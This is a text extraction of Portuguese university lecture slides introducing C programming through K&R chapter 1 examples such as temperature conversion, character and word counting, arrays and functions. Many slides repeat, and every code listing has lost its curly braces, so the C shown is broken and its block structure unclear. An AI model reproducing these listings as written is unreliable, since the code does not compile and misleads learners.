Upload
lamliem
View
223
Download
0
Embed Size (px)
Citation preview
Acetatos de AED
2º Semestre 2005/2006
J. Marques Silva, Arlindo Oliveira, Pedro Amaro de Matos
AED 2003/2004 – p.1/554
Versão Inicial: Ano Lectivo de 2002/2003
Versão 1: Ano Lectivo de 2003/2004
Versão 2: Ano Lectivo de 2004/2005
Versão 3: Ano Lectivo de 2005/2006
AED 2003/2004 – p.2/554
AED 2003/2004 – p.3/554
AED 2003/2004 – p.4/554
Parte I
K&R Cap. 1
AED 2003/2004 – p.5/554
Apresentação de AED
Testes: 25% (1o teste) + 25% (2o teste) + 40% projecto+ 10% Avaliação Contínua
Nota mínima: 8 valores, na média dos testes, e noprojecto.
Professor Responsável: Arlindo Oliveira
Docentes: Alexandre Francisco, Jorge Martins, AnaCasimiro, Rudi Araújo
Projectos e aulas práticas: grupos de 3, inscrições apartir de 4º feira, 22/2
AED 2003/2004 – p.6/554
Apresentação de AED
Testes: 25% (1o teste) + 25% (2o teste) + 40% projecto+ 10% Avaliação Contínua
Nota mínima: 8 valores, na média dos testes, e noprojecto.
Professor Responsável: Arlindo Oliveira
Docentes: Alexandre Francisco, Jorge Martins, AnaCasimiro, Rudi Araújo
Projectos e aulas práticas: grupos de 3, inscrições apartir de 4º feira, 22/2
AED 2003/2004 – p.6/554
Apresentação de AED
Testes: 25% (1o teste) + 25% (2o teste) + 40% projecto+ 10% Avaliação Contínua
Nota mínima: 8 valores, na média dos testes, e noprojecto.
Professor Responsável: Arlindo Oliveira
Docentes: Alexandre Francisco, Jorge Martins, AnaCasimiro, Rudi Araújo
Projectos e aulas práticas: grupos de 3, inscrições apartir de 4º feira, 22/2
AED 2003/2004 – p.6/554
Apresentação de AED
Testes: 25% (1o teste) + 25% (2o teste) + 40% projecto+ 10% Avaliação Contínua
Nota mínima: 8 valores, na média dos testes, e noprojecto.
Professor Responsável: Arlindo Oliveira
Docentes: Alexandre Francisco, Jorge Martins, AnaCasimiro, Rudi Araújo
Projectos e aulas práticas: grupos de 3, inscrições apartir de 4º feira, 22/2
AED 2003/2004 – p.6/554
Apresentação de AED
Testes: 25% (1o teste) + 25% (2o teste) + 40% projecto+ 10% Avaliação Contínua
Nota mínima: 8 valores, na média dos testes, e noprojecto.
Professor Responsável: Arlindo Oliveira
Docentes: Alexandre Francisco, Jorge Martins, AnaCasimiro, Rudi Araújo
Projectos e aulas práticas: grupos de 3, inscrições apartir de 4º feira, 22/2
AED 2003/2004 – p.6/554
Apresentação de AED
Bibliografia: R. Sedgewick, “Algorithms in C, Vol. I”,Addison-Wesley, 1998.
Bibliografia: Luis Damas, “Linguagem C”, FCA –Editora Informática
Bibliografia: B. Kerninghan, D. Ritchie, “The CProgramming Language”, 2nd edition, Prentice Hall,1988.
Bibliografia: Thomas H. Cormen, Charles E. Leiserson,Ronald L. Rivest, Clifford Stein, “Introduction toAlgoritms – Second Edition”, The MIT Press
Programa: Linguagem de programação C; Estruturasde dados e algoritmos.
AED 2003/2004 – p.7/554
Apresentação de AED
Bibliografia: R. Sedgewick, “Algorithms in C, Vol. I”,Addison-Wesley, 1998.
Bibliografia: Luis Damas, “Linguagem C”, FCA –Editora Informática
Bibliografia: B. Kerninghan, D. Ritchie, “The CProgramming Language”, 2nd edition, Prentice Hall,1988.
Bibliografia: Thomas H. Cormen, Charles E. Leiserson,Ronald L. Rivest, Clifford Stein, “Introduction toAlgoritms – Second Edition”, The MIT Press
Programa: Linguagem de programação C; Estruturasde dados e algoritmos.
AED 2003/2004 – p.7/554
Apresentação de AED
Bibliografia: R. Sedgewick, “Algorithms in C, Vol. I”,Addison-Wesley, 1998.
Bibliografia: Luis Damas, “Linguagem C”, FCA –Editora Informática
Bibliografia: B. Kerninghan, D. Ritchie, “The CProgramming Language”, 2nd edition, Prentice Hall,1988.
Bibliografia: Thomas H. Cormen, Charles E. Leiserson,Ronald L. Rivest, Clifford Stein, “Introduction toAlgoritms – Second Edition”, The MIT Press
Programa: Linguagem de programação C; Estruturasde dados e algoritmos.
AED 2003/2004 – p.7/554
Apresentação de AED
Bibliografia: R. Sedgewick, “Algorithms in C, Vol. I”,Addison-Wesley, 1998.
Bibliografia: Luis Damas, “Linguagem C”, FCA –Editora Informática
Bibliografia: B. Kerninghan, D. Ritchie, “The CProgramming Language”, 2nd edition, Prentice Hall,1988.
Bibliografia: Thomas H. Cormen, Charles E. Leiserson,Ronald L. Rivest, Clifford Stein, “Introduction toAlgoritms – Second Edition”, The MIT Press
Programa: Linguagem de programação C; Estruturasde dados e algoritmos.
AED 2003/2004 – p.7/554
A linguagem de programação C
Um exemplo de programa em C
Fluxo de compilação
Estrutura de um programa em C
Tipos de dados
Instruções básicas
Estruturas de controlo
Funções
Tabelas, estruturas e ficheiros
Ponteiros e memória dinâmica
AED 2003/2004 – p.8/554
A linguagem de programação C
Um exemplo de programa em C
Fluxo de compilação
Estrutura de um programa em C
Tipos de dados
Instruções básicas
Estruturas de controlo
Funções
Tabelas, estruturas e ficheiros
Ponteiros e memória dinâmica
AED 2003/2004 – p.8/554
A linguagem de programação C
Um exemplo de programa em C
Fluxo de compilação
Estrutura de um programa em C
Tipos de dados
Instruções básicas
Estruturas de controlo
Funções
Tabelas, estruturas e ficheiros
Ponteiros e memória dinâmica
AED 2003/2004 – p.8/554
A linguagem de programação C
Um exemplo de programa em C
Fluxo de compilação
Estrutura de um programa em C
Tipos de dados
Instruções básicas
Estruturas de controlo
Funções
Tabelas, estruturas e ficheiros
Ponteiros e memória dinâmica
AED 2003/2004 – p.8/554
A linguagem de programação C
Um exemplo de programa em C
Fluxo de compilação
Estrutura de um programa em C
Tipos de dados
Instruções básicas
Estruturas de controlo
Funções
Tabelas, estruturas e ficheiros
Ponteiros e memória dinâmica
AED 2003/2004 – p.8/554
A linguagem de programação C
Um exemplo de programa em C
Fluxo de compilação
Estrutura de um programa em C
Tipos de dados
Instruções básicas
Estruturas de controlo
Funções
Tabelas, estruturas e ficheiros
Ponteiros e memória dinâmica
AED 2003/2004 – p.8/554
A linguagem de programação C
Um exemplo de programa em C
Fluxo de compilação
Estrutura de um programa em C
Tipos de dados
Instruções básicas
Estruturas de controlo
Funções
Tabelas, estruturas e ficheiros
Ponteiros e memória dinâmica
AED 2003/2004 – p.8/554
A linguagem de programação C
Um exemplo de programa em C
Fluxo de compilação
Estrutura de um programa em C
Tipos de dados
Instruções básicas
Estruturas de controlo
Funções
Tabelas, estruturas e ficheiros
Ponteiros e memória dinâmica
AED 2003/2004 – p.8/554
A linguagem de programação C
Um exemplo de programa em C
Fluxo de compilação
Estrutura de um programa em C
Tipos de dados
Instruções básicas
Estruturas de controlo
Funções
Tabelas, estruturas e ficheiros
Ponteiros e memória dinâmica
AED 2003/2004 – p.8/554
Estruturas de dados
Aplicações de arrays: Filas; Pilhas; Amontoados;Arrays dinâmicos.
Aplicações de listas: Simplesmente e duplamenteligadas; Filas; Pilhas.
Aplicações de árvores: Árvores de procura binária;Inserção e remoção de elementos em árvores; noçãode árvore equilibrada.
Tabela de dispersão.
AED 2003/2004 – p.9/554
Estruturas de dados
Aplicações de arrays: Filas; Pilhas; Amontoados;Arrays dinâmicos.
Aplicações de listas: Simplesmente e duplamenteligadas; Filas; Pilhas.
Aplicações de árvores: Árvores de procura binária;Inserção e remoção de elementos em árvores; noçãode árvore equilibrada.
Tabela de dispersão.
AED 2003/2004 – p.9/554
Estruturas de dados
Aplicações de arrays: Filas; Pilhas; Amontoados;Arrays dinâmicos.
Aplicações de listas: Simplesmente e duplamenteligadas; Filas; Pilhas.
Aplicações de árvores: Árvores de procura binária;Inserção e remoção de elementos em árvores; noçãode árvore equilibrada.
Tabela de dispersão.
AED 2003/2004 – p.9/554
Estruturas de dados
Aplicações de arrays: Filas; Pilhas; Amontoados;Arrays dinâmicos.
Aplicações de listas: Simplesmente e duplamenteligadas; Filas; Pilhas.
Aplicações de árvores: Árvores de procura binária;Inserção e remoção de elementos em árvores; noçãode árvore equilibrada.
Tabela de dispersão.
AED 2003/2004 – p.9/554
Algoritmos
Taxa de crescimento de funções e notaçãoassimptótica
Algoritmos de procura (em arrays)
Algoritmos de ordenação (em arrays): SelectionSort;InsertionSort; MergeSort; HeapSort; QuickSort;ShellSort.
AED 2003/2004 – p.10/554
Algoritmos
Taxa de crescimento de funções e notaçãoassimptótica
Algoritmos de procura (em arrays)
Algoritmos de ordenação (em arrays): SelectionSort;InsertionSort; MergeSort; HeapSort; QuickSort;ShellSort.
AED 2003/2004 – p.10/554
Algoritmos
Taxa de crescimento de funções e notaçãoassimptótica
Algoritmos de procura (em arrays)
Algoritmos de ordenação (em arrays): SelectionSort;InsertionSort; MergeSort; HeapSort; QuickSort;ShellSort.
AED 2003/2004 – p.10/554
Uma perspectiva tutorial do C
Introdução rápida à linguagem C utilizando exemplos
Programa que escreve hello, world
AED 2003/2004 – p.11/554
Uma perspectiva tutorial do C
Introdução rápida à linguagem C utilizando exemplos
Programa que escreve hello, world
AED 2003/2004 – p.11/554
hello, world
#include <stdio.h>
main ()
printf("hello, world\n");
AED 2003/2004 – p.12/554
hello, world
#include <stdio.h>
main()
printf("hello, world\n");
Bibliotecas de funções de entrada/saída
AED 2003/2004 – p.13/554
hello, world
#include <stdio.h>
main ()
printf("hello, world\n");
Função main
Nome função pode ser qualquer
Todos os programas têm uma função main
Função main é primeira a ser executada
Funções podem ser definidas múltiplos ficheiros
AED 2003/2004 – p.14/554
hello, world
#include <stdio.h>
main ()
printf("hello, world\n");
Parâmetros formais da função
Comunicação do exterior com a função
AED 2003/2004 – p.15/554
hello, world
#include <stdio.h>
main ()
printf("hello, world\n");
Instruções associadas àfunção entre chavetas
AED 2003/2004 – p.16/554
hello, world
#include <stdio.h>
main ()
printf("hello, world\n");
Apenas uma instrução
Chamada à função printf
Parâmetros actuais de printf colocados entreparênteses
printf("hello, world")
gera erro (string não pode mudar de linha)
AED 2003/2004 – p.17/554
hello, world
#include <stdio.h>
main ()
printf("hello, world\n");
String "hello, world\n"
Cadeia de caracteres entre aspas "
Outros caracteres\n Sequência de caracteres que representa newline\t tab\b backspace\" aspas\\ barra
AED 2003/2004 – p.18/554
Conversão de temperaturas
Construir programa que converte temperaturas da escalaFahrenheit para escala Celsius
0 -17
20 -6
40 4
60 15
80 26
. . .
260 126
280 137
300 148
AED 2003/2004 – p.19/554
Conversão de temperaturas
Desenvolvimento do algoritmo
Programa executa instruções repetidamente
Dado valor de temperatura na escala Fahrenheit
Converte temperatura para graus CelsiusEscreve linha da tabelaAumenta valor temperatura Fahrenheit
AED 2003/2004 – p.20/554
Conversão de temperaturas
Desenvolvimento do algoritmo
Enquanto temperatura for inferior limite superiorConverte temperatura para graus CelsiusEscreve linha da tabelaAumenta valor temperatura Fahrenheit
AED 2003/2004 – p.20/554
Conversão de temperaturas
Algoritmo:Limite inferior é 0Limite superior é 300Passo é 20
Fahrenheit é limite inferiorEnquanto temperatura for inferior limite superior
Converte temperatura para graus CelsiusEscreve linha da tabelaAumenta valor temperatura Fahrenheit
AED 2003/2004 – p.20/554
Conversão de temperaturas
#include <stdio.h>
/* Escreve tabela de conversao Fahrenheit-Celsius fahr = 0,20,...,300 */
main ()
int fahr, celsius;
int inferior, superior, passo;
inferior = 0;
superior = 300;
passo = 20;
fahr = inferior;
while (fahr <= superior)
celsius = 5 * (fahr-32) / 9;
printf("%d\t%d\n", fahr, celsius);
fahr = fahr + passo;
AED 2003/2004 – p.21/554
Conversão de temperaturas
#include <stdio.h>
/* Escreve tabela de conversao Fahrenheit-Celsius fahr = 0,20,...,300 */
main ()
int fahr, celsius;
int inferior, superior, passo;
Comentários
Texto entre /* e */
AED 2003/2004 – p.22/554
Conversão de temperaturas
main ()
int fahr, celsius;
int inferior, superior, passo;
inferior = 0;
superior = 300;
passo = 20;
Declaração de variáveis
Tipos básicos: char, short, long e double.
Tipos complexos: estruturas, uniões, tabelas, ponteirospara tipos mais simples e funções
AED 2003/2004 – p.23/554
Conversão de temperaturas
int inferior, superior, passo;
inferior = 0;
superior = 300;
passo = 20;
fahr = inferior;
while (fahr <= superior)
celsius = 5 * (fahr-32) / 9;
Instrução de atribuição de valor a variável
Sintaxe: < variável > = < expressão >
AED 2003/2004 – p.24/554
Conversão de temperaturas
fahr=inferior;
while (fahr <= superior)
celsius = 5 * (fahr-32) / 9;
printf("%d\t%d\n", fahr, celsius);
fahr = fahr + passo;
Ciclo while
Sintaxe: while ( <expressão>) <. instrucao \verb>+
Indentação ajuda a perceber estrutura programa
Erro frequente:
while (i >= 0);i = i-1; AED 2003/2004 – p.25/554
Conversão de temperaturas
fahr = inferior;
while (fahr <= superior)
celsius = 5 * (fahr-32) / 9;
printf("%d\t%d\n", fahr, celsius);
fahr = fahr + passo;
Divisão inteira
Divisão entre inteiros é divisão inteira
5/9 é 0
AED 2003/2004 – p.26/554
Conversão de temperaturas
while (fahr <= superior)
celsius = 5 * (fahr-32) / 9;
printf("%d\t%d\n", fahr, celsius);
fahr = fahr + passo;
printf escrita formatada
printf("%d\t%d\n", fahr, celsius);
Melhorar formataçãoprintf("%3d%6d\n", fahr, celsius);
Problema: 0oF são -17,8oC e não -17oC
AED 2003/2004 – p.27/554
Conversão de temperaturas
#include <stdio.h>
/* Escreve tabela de conversao Fahrenheit-Celsius fahr = 0,20,...,300 */
main ()
float fahr, celsius;
int inferior, superior, passo;
inferior = 0;
superior = 300;
passo = 20;
fahr = inferior;
while (fahr <= superior)
celsius = (5.0/9.0) * (fahr-32);
printf("%3.0f %6.1f\n", fahr, celsius);
fahr = fahr + passo;
AED 2003/2004 – p.28/554
Conversão de temperaturas
Principais diferenças:
float fahr, celsius;
celsius = (5.0/9.0) * (fahr-32);
printf("%3.0f %6.1f\n", fahr, celsius);
Outras conversões:%o inteiros em notação octal%x inteiros em notação hexadecimal%c caracter%s string%% caracter %
AED 2003/2004 – p.29/554
Conversão de temperaturas
#include <stdio.h>
/* Escreve tabela de conversao Fahrenheit-Celsius
fahr = 0,20,...,300 */
main ()
float fahr;
for (fahr = 0; fahr <= 300; fahr = fahr + 20)
printf("%3.0f %6.1f\n", fahr, (5.0/9.0) * (fahr - 32));
Inicialização de variáveis: fahr = 0
Teste: fahr <= 300
Incremento: fahr = fahr + 20
Ciclo termina quando condição for falsa
AED 2003/2004 – p.30/554
Conversão de temperaturas
Constantes simbólicas
Má prática utilizar valores explícitos (0, 20, 300)
Alternativa: utilização de constantes usando define
#define <nome> <texto>
AED 2003/2004 – p.31/554
Conversão de temperaturas
#include <stdio.h>
#define SUPERIOR 300
#define INFERIOR 0
#define PASSO 20
/* Escreve tabela de conversao Fahrenheit-Celsius
fahr = 0,20,...,300 */
main ()
float fahr;
for (fahr = INFERIOR; fahr <= SUPERIOR; fahr = fahr + PASSO)
printf("%3.0f %6.1f\n", fahr, (5.0/9.0) * (fahr - 32));
AED 2003/2004 – p.32/554
Leitura e escrita
Text stream é sequência de caracteres dividida emlinhas
Cada linha contém 0 ou mais caracteres e acaba comnewline
Função getchar: lê o próximo caracter da text stream
Função putchar: recebe um inteiro como argumento eescreve o caracter que tem como código o inteiro
AED 2003/2004 – p.33/554
Cópia de ficheiros
Algoritmo:Lê um caracterEnquanto resultado de ler caracter não forindicador do fim do ficheiro
Escreve caracterLê próximo caracter
AED 2003/2004 – p.34/554
Cópia de ficheiros
#include <stdio.h>
/* Copia input para output */
main ()
int c;
c = getchar();
while (c != EOF)
putchar(c);
c = getchar();
!= significa diferente
Porquê int c?
Constante EOF
AED 2003/2004 – p.35/554
Cópia de ficheiros
Atribuição retorna valor atribuído!#include <stdio.h>
/* Copia input para output (Variacao)*/
main ()
int c;
while ((c = getchar()) != EOF)
putchar(c);
Parênteses em while ((c = getchar()) != EOF)necessários
Precedência de != maior que =
AED 2003/2004 – p.36/554
Contagem de caracteres
Algoritmo:Inicializa contador a 0Enquanto o resultado de ler um caracter não forindicador do fim do ficheiro
Incrementa contadorEscreve contador
AED 2003/2004 – p.37/554
Contagem de caracteres
#include <stdio.h>
/* conta caracteres no ficheiro de entrada */
main ()
long contador;
contador = 0;
while (getchar() != EOF)
++contador;
printf("%ld\n",contador);
AED 2003/2004 – p.38/554
Contagem de caracteres
#include <stdio.h>
/* conta caracteres no ficheiro de entrada */
main ()
long contador;
contador = 0;
while (getchar() != EOF)
++contador;
printf("%ld\n",contador);
Variáveis do tipo long int
Pelo menos 32 bits para guardar o inteiro
%ld para escrever com printfAED 2003/2004 – p.39/554
Contagem de caracteres
contador = 0;
while (getchar() != EOF)
++contador;
printf("%ld\n",contador);
Instrução de incremento da variável contador
Tipicamente mais eficiente quecontador = contador + 1
Também há contador++
Também há --contador e contador--
AED 2003/2004 – p.40/554
Contagem de caracteres
#include <stdio.h>
/* conta caracteres no ficheiro de entrada */
main ()
double contador;
for(contador = 0; getchar() != EOF; ++contador)
;
printf("%.0f\n", contador);
Alternativa programa anterior
Utiliza double
%f para escrever objectos dos tipos float e double
AED 2003/2004 – p.41/554
Contagem de linhas
Algoritmo:Inicializa contador a 0Enquanto o resultado de ler um caracter não forindicador do fim do ficheiro
Se caracter lido for fim de linha entãoIncrementa contador
Escreve contador
AED 2003/2004 – p.42/554
Contagem de linhas
#include <stdio.h>
/* conta linhas no ficheiro de entrada */
main ()
int caracter, contador;
contador = 0;
while ((caracter = getchar()) != EOF)
if (caracter == ’\n’)
++contador;
printf("%d\n",contador);
AED 2003/2004 – p.43/554
Contagem de linhas
#include <stdio.h>
/* conta linhas no ficheiro de entrada */
main ()
int caracter, contador;
contador = 0;
while ((caracter = getchar()) != EOF)
if (caracter == ’\n’)
++contador;
printf("%d\n",contador);
Teste de igualdade ==
Caracter mudança de linha ’\n’
AED 2003/2004 – p.44/554
Contagem de palavras
Algoritmo:Estado toma valor FORA
Inicializa contador letras, palavras e linhasEnquanto resultado de ler caracter não forindicador de fim do ficheiro
Incrementa contador letras
Se caracter lido for nova linha entãoIncrementa contador linhas
Se caracter lido for espaço ounova linha ou tabulação então
Estado toma valor FORACaso contrário se estado é FORA então
Estado passa a DENTROIncrementa contador palavras
Escreve contadores
AED 2003/2004 – p.45/554
Contagem de palavras
Algoritmo:Estado toma valor FORA
Inicializa contador letras, palavras e linhasEnquanto resultado de ler caracter não forindicador de fim do ficheiro
Incrementa contador letrasSe caracter lido for nova linha então
Incrementa contador linhas
Se caracter lido for espaço ounova linha ou tabulação então
Estado toma valor FORACaso contrário se estado é FORA então
Estado passa a DENTROIncrementa contador palavras
Escreve contadores
AED 2003/2004 – p.45/554
Contagem de palavras
Algoritmo:Estado toma valor FORAInicializa contador letras, palavras e linhasEnquanto resultado de ler caracter não forindicador de fim do ficheiro
Incrementa contador letrasSe caracter lido for nova linha então
Incrementa contador linhasSe caracter lido for espaço ounova linha ou tabulação então
Estado toma valor FORACaso contrário se estado é FORA então
Estado passa a DENTROIncrementa contador palavras
Escreve contadoresAED 2003/2004 – p.45/554
Contagem de palavras
#include <stdio.h>
#define DENTRO 1 /* Dentro de uma palavra*/
#define FORA 0 /* Fora de uma palavra */
/* conta linhas, palavras e caracteres no ficheiro de entrada */
main ()
int c, nl, np, nc, estado;
estado = FORA;
nl = np = nc = 0;
while ((c = getchar()) != EOF)
++nc;
if (c == ’\n’)
++nl;
if (c == ’ ’ || c == ’\n’ || c == ’\t’)
(cont)AED 2003/2004 – p.46/554
Contagem de palavras
main ()
int c, nl, np, nc, estado;
estado = FORA;
nl = np = nc = 0;
while ((c = getchar()) != EOF)
++nc;
if (c == ’\n’)
++nl;
if (c == ’ ’ || c == ’\n’ || c == ’\t’)
estado = FORA;
else if (estado == FORA)
estado = DENTRO;
++np;
printf("%d %d %d\n", nl, np, nc);
AED 2003/2004 – p.47/554
Contagem de palavras
main ()
int c, nl, np, nc, estado;
estado = FORA;
nl = np = nc = 0;
while ((c = getchar()) != EOF)
++nc;
if (c == ’\n’)
++nl;
Atribuição múltipla
Equivale a (nl = (np = (nc = 0)));
AED 2003/2004 – p.48/554
Contagem de palavras
if (c == ’ ’ || c == ’\n’ || c == ’\t’)
estado = FORA;
else if (estado == FORA)
estado = DENTRO;
++np;
Operador lógico disjunção ||
Operador lógico conjunção && (tem maior precedênciaque ||)
Argumentos avaliados da esquerda para direita.Interrompe avaliação quando argumento for suficientepara definir valor da expressão.
AED 2003/2004 – p.49/554
Contagem de palavras
if (c == ’ ’ || c == ’\n’ || c == ’\t’)
estado = FORA;
else if (estado == FORA)
estado = DENTRO;
++np;
Instrução if-then-else
Sintaxe:if (expressao)
instrucao1
else instrucao2
AED 2003/2004 – p.50/554
Tabelas
Programa que conta ocorrências de dígitos, espaços e deoutros caracteres
Algoritmo:Inicializa contadores dígitos, brancos e outrosEnquanto resultado de ler caracter não forindicador de fim do ficheiro
Se caracter lido é dígito entãoIncrementa contador de dígitocorrespondente
Senão, se caracter lido é branco entãoIncrementa contador de brancos
Senão, incrementa contador de outros
Escreve contadores
AED 2003/2004 – p.51/554
Tabelas
#include <stdio.h>
/* conta dıgitos, espacos em branco e outros caracteres */
main ()
int c, i, nbrancos, noutros, ndigitos[10];
nbrancos = noutros = 0;
for (i = 0; i < 10; ++i)
ndigitos[i]=0;
while ((c = getchar()) != EOF)
if (c >= ’0’ && c <= ’9’)
++ndigitos[c-’0’];
else if (c == ’ ’ || c == ’\n’ || c == ’\t’)
++nbrancos;
else ++noutros;
(cont.)
AED 2003/2004 – p.52/554
Tabelas
main ()
int c, i, nbrancos, noutros, ndigitos[10];
nbrancos = noutros = 0;
for (i = 0; i < 10; ++i)
ndigitos[i]=0;
while ((c = getchar()) != EOF)
if (c >= ’0’ && c <= ’9’)
++ndigitos[c-’0’];
else if (c == ’ ’ || c == ’\n’ || c == ’\t’)
++nbrancos;
else ++noutros;
printf("dıgitos =");
for (i = 0; i < 10; ++i)
printf("%d", ndigitos[i]);
printf(", espacos brancos = %d, outros = %d\n", nbrancos, noutros);
AED 2003/2004 – p.53/554
Tabelas
#include <stdio.h>
/* conta dıgitos, espacos em branco e outros caracteres */
main ()
int c, i, nbrancos, noutros, ndigitos[10];
nbrancos = noutros = 0;
for (i = 0; i < 10; ++i)
ndigitos[i]=0;
Declaração de tabelas
Variável ndigitos é tabela de 10 inteiros
ndigitos[0], ndigitos[1],. . ., ndigitos[9]
AED 2003/2004 – p.54/554
Tabelas
while ((c = getchar()) != EOF)
if (c >= ’0’ && c <= ’9’)
++ndigitos[c-’0’];
else if (c == ’ ’ || c == ’\n’ || c == ’\t’)
++nbrancos;
else ++noutros;
Caracteres são inteiros pequenos
Valor do dígito c é c-’0’
Funciona porque dígitos aparecem seguidos nastabelas de caracteres
Utilizar valor do dígito para guardar informação sobredígito numa tabela. Ex: ndigitos[’2’-’0’]representa número de vezes que aparece caracter ’2’
AED 2003/2004 – p.55/554
Tabelas
if (c >= ’0’ && c <= ’9’)
++ndigitos[c-’0’];
else if (c == ’ ’ || c == ’\n’ || c == ’\t’)
++nbrancos;
else ++noutros;
ifs encadeadosif (condição1)
instrução1else if (condição2)
instrução2. . .else instruçãon
AED 2003/2004 – p.56/554
Tabelas
if (c >= ’0’ && c <= ’9’)
++ndigitos[c-’0’];
else if (c == ’ ’ || c == ’\n’ || c == ’\t’)
++nbrancos;
else ++noutros;
Indentação crescente problemática em instruçõesgrandes
Instrução switch semelhante
AED 2003/2004 – p.57/554
Funções
#include <stdio.h>
int potencia(int m, int n);
/* teste funcao potencia */
main ()
int i;
for (i = 0; i < 10; ++i)
printf("%d %d %d\n", i, potencia(2,i), potencia(-3,i));
return 0;
/* potencia: levanta base a n-esima potencia; n >= 0 */
int potencia (int base, int n)
(cont.)
AED 2003/2004 – p.58/554
Funções
/* potencia: levanta base a n-esima potencia; n >= 0 */
int potencia (int base, int n)
int i, p;
p = 1;
for (i = 1; i <= n; ++i)
p = p * base;
return p;
Funções aparecem em qualquer ordem num ficheiro
Funções podem estar distribuídas por diversos ficheiros
AED 2003/2004 – p.59/554
Funções
int potencia (int base, int n)
int i, p;
p = 1;
for (i = 1; i <= n; ++i)
p = p * base;
return p;
Parâmetros formais de função são variáveis locais defunção (inacessíveis a partir de outras funções)
Instrução return especifica valor a retornar
Função pode não retornar valor
AED 2003/2004 – p.60/554
Funções
#include <stdio.h>
int potencia(int m, int n);
/* teste funcao potencia */
main ()
int i;
Protótipos de funções
Especificação dos tipos dos argumentos e do tipo dovalor a retornar
Podia ser int potencia(int, int);
AED 2003/2004 – p.61/554
Passagem por valor
Parâmetros actuais copiados para variáveistemporárias quando função é executada
Função não tem acesso a parâmetros actuais (só àscópias)
Não os pode alterar
Diferente da "passagem por referência" (Pascal)
Para função mudar variável, recebe endereço(ponteiro) para variável
Excepção: se parâmetro actual é tabela, é passado oendereço da tabela e não cópia da tabela
AED 2003/2004 – p.62/554
Passagem por valor
Versão de potencia que usa menos variáveis/* potencia: levanta base a n-esima potencia; n >= 0.
/
int potencia (int base, int n)
int p;
for (p = 1; n > 0; --n)
p = p * base;
return p;
AED 2003/2004 – p.63/554
Tabelas de caracteres
Programa que lê linhas de texto e imprime a maior daslinhas
Algoritmo:Enquanto houver linhas para ler
Se a linha lida é maior que a anterior maior linhaGuarda a linhaGuarda o comprimento da linha
Imprime a maior linha
AED 2003/2004 – p.64/554
Tabelas de caracteres
#include <stdio.h>
#define MAXLINHA 1000
int lelinha(char linha[], int maxlinha);
void copia(char to[], char from[]);
/* Imprime a maior linha do ficheiro de entrada */
main ()
int comprimento;
int max;
char linha[MAXLINHA];
char maiscomprida[MAXLINHA];
max = 0;
(cont.)
AED 2003/2004 – p.65/554
Tabelas de caracteres
main ()
int comprimento;
int max;
char linha[MAXLINHA];
char maiscomprida[MAXLINHA];
max = 0;
while ((comprimento = lelinha(linha, MAXLINHA)) > 0)
if (comprimento > max)
max = comprimento;
copia(maiscomprida, linha);
if (max > 0)
printf("%s", maiscomprida);
return 0;
(cont.)
AED 2003/2004 – p.66/554
Tabelas de caracteres
/* lelinha: le linha para s, retorna comprimento */
int lelinha(char s[], int lim)
int c, i;
for (i=0; i < lim-1 && (c=getchar())!= EOF && c!=’\n’; ++i)
s[i] = c;
if (c == ’\n’)
s[i] = c;
++i;
s[i] = ’\0’;
return i;
(cont.)
AED 2003/2004 – p.67/554
Tabelas de caracteres
/* copia: copia ’origem’ para ’destino’; assume tamanho suficiente */
void copia(char destino[], char origem[])
int i;
i = 0;
while ((destino[i] = origem[i]) != ’\0’)
++i;
AED 2003/2004 – p.68/554
Tabelas de caracteres
/* lelinha: le linha para s, retorna comprimento */
int lelinha(char s[], int lim)
int c, i;
for (i=0; i < lim-1 && (c=getchar())!= EOF && c!=’\n’; ++i)
Definição de parâmetro formal s não precisa detamanho
Declaração do tipo de retorno desnecessária (int poromissão)
AED 2003/2004 – p.69/554
Tabelas de caracteres
s[i] = c;
if (c == ’\n’)
s[i] = c;
++i;
s[i] = ’\0’;
return i;
Convenção C: cadeia caracteres acaba com ’\0’
Cadeia de caracteres "hello\n" tem caracteres ’h’,’e’, ’l’, ’l’, ’o’, ’\n’ e ’\0’
printf espera strings neste formato
AED 2003/2004 – p.70/554
Variáveis externas
Variáveis de funções são locais às funções
Variável local de uma função existe apenas quandofunção é chamada
Variável local é destruida quando função acaba de serexecutada
Variável local é automática
Variáveis estáticas retêm o valor entre chamadas
AED 2003/2004 – p.71/554
Variáveis externas
Variável externa definida fora de qualquer função
Variável externa precisa ser declarada por cada funçãoque a utilize (instrução extern) se não tiver sidodefinida anteriormente no ficheiro
Variáveis externas são acessíveis a partir de todasfunções
AED 2003/2004 – p.72/554
Variáveis externas
#include <stdio.h>
#define MAXLINHA 1000 /* tamanho maximo da linha */
int maximo; /* maior tamanho encontrado ate agora */
char maiscomprida[MAXLINHA]; /* maior linha encontrada ate agora */
char linha[MAXLINHA]; /* linha a ser tratada */
int lelinha(void);
void copia(void);
(cont.)
AED 2003/2004 – p.73/554
Variáveis externas
/* imprime a maior linha do ficheiro de entrada. Versao especializada */
main ()
int comprimento;
extern int maximo;
extern char maiscomprida[];
maximo = 0;
while ((comprimento = lelinha()) > 0)
if (comprimento > maximo)
maximo = comprimento;
copia();
if (maximo > 0) /* houve uma linha */
printf("%s", maiscomprida);
return 0;
(cont.)
AED 2003/2004 – p.74/554
Variáveis externas
/* lelinha: versao especializada */
int lelinha(void)
int c, i;
extern char linha[];
for (i = 0; i < MAXLINHA -1 && (c=getchar()) != EOF && c != ’\n’; ++i)
linha[i]=c;
if (c == ’\n’)
linha[i] = c;
++i;
linha[i] = ’\0’;
return i;
(cont.)
AED 2003/2004 – p.75/554
Variáveis externas
/* copia: versao especializada */
void copia(void)
int i;
extern char linha[], maiscomprida[];
i = 0;
while ((maiscomprida[i] = linha[i]) != ’\0’)
++i;
AED 2003/2004 – p.76/554
Variáveis externas
#define MAXLINHA 1000 /* tamanho maximo da linha */
int maximo; /* maior tamanho encontrado ate agora */
char maiscomprida[MAXLINHA]; /* maior linha encontrada ate agora */
char linha[MAXLINHA]; /* linha a ser tratada */
Variável externa definida fora de qualquer função
Definição serve para alocar espaço de memória àvariável
AED 2003/2004 – p.77/554
Variáveis externas
main ()
int comprimento;
extern int maximo;
extern char maiscomprida[];
Variável externa precisa ser declarada em cada função(instrução extern) se antes não tiver sido definida noficheiro (neste exemplo não era preciso)
Todas as funções podem aceder a variáveis externas
Prática: colocar todas definições no princípio do ficheiro
Ficheiros de headers (.h): colecção de instruçõesextern.
Variáveis globais = fonte potencial PROBLEMAS
AED 2003/2004 – p.78/554
Parte II
K&R Cap. 2
AED 2003/2004 – p.79/554
Elementos da linguagem
Identificadores
Tipos
Constantes
Declarações
Operadores aritméticos, lógicos e relacionais
Conversões de tipos
Operadores incrementar e decrementar
Operações de bits
Operações de atribuição e expressões
Expressões condicionais
